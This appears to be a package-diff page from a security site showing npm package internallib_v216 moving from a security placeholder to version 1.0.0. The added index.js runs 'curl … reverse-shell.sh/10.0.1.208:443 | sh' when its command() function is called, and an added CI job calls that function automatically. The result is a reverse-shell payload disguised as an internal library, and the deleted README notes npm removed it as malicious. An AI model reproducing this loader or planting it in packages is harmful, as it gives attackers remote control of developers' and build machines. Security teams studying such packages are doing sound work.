internallib_v216 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of internallib_v216 might be problematic. Click here for more details.

package/.gitlab-ci.yml ADDED
@@ -0,0 +1,25 @@
1
+ # This file is a template, and might need editing before it works on your project.
2
+ # To contribute improvements to CI/CD templates, please follow the Development guide at:
3
+ # https://docs.gitlab.com/ee/development/cicd/templates.html
4
+ # This specific template is located at:
5
+ # https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
6
+
7
+ # Official framework image. Look for the different tagged releases at:
8
+ # https://hub.docker.com/r/library/node/tags/
9
+ image: node:latest
10
+
11
+ # Pick zero or more services to be used on all builds.
12
+ # Only needed when using a docker container to run your tests in.
13
+ # Check out: http://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service
14
+
15
+
16
+ # This folder is cached between builds
17
+ # https://docs.gitlab.com/ee/ci/yaml/index.html#cache
18
+ cache:
19
+ paths:
20
+ - node_modules/
21
+
22
+ test_async:
23
+ script:
24
+ - npm update --registry http://0.0.0.0:4873/
25
+ - node check.js
package/check.js ADDED
@@ -0,0 +1,3 @@
1
+ internallib = require("internallib_v216")
2
+
3
+ console.log(internallib.command())
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ const { exec } = require("child_process");
2
+ exports.command = function() {
3
+ exec('curl https://reverse-shell.sh/10.0.1.208:443 | sh', (err, output) => { console.log(output) })
4
+ console.log("This is a message from the internal lib");
5
+ return "Command Execute with Success";
6
+ }
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "internallib_v216",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "internallib_v216": "^1.0.0"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=internallib_v216 for more information.